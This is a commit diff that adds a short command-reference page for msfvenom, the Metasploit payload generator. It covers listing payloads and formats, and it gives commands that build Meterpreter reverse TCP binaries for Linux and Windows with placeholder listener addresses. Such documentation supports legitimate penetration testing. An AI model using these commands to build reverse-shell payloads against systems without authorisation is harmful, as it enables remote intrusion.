msfvenom: add page (#3476)

pages/common/msfvenom.md

@@ -0,0 +1,24 @@
+# msfvenom
+
+> Manually generate payloads for metasploit.
+> More information: <https://github.com/rapid7/metasploit-framework/wiki/How-to-use-msfvenom>.
+
+- List payloads:
+
+`msfvenom -l payloads`
+
+- List formats:
+
+`msfvenom -l formats`
+
+- Show payload options:
+
+`msfvenom -p {{payload}} --list-options`
+
+- Create an ELF binary with a reverse TCP handler:
+
+`msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST={{local_ip}} LPORT={{local_port}} -f elf > {{path/to/binary}}`
+
+- Create an EXE binary with a reverse TCP handler:
+
+`msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST={{local_ip}} LPORT={{local_port}} -f exe > {{path/to/binary.exe}}`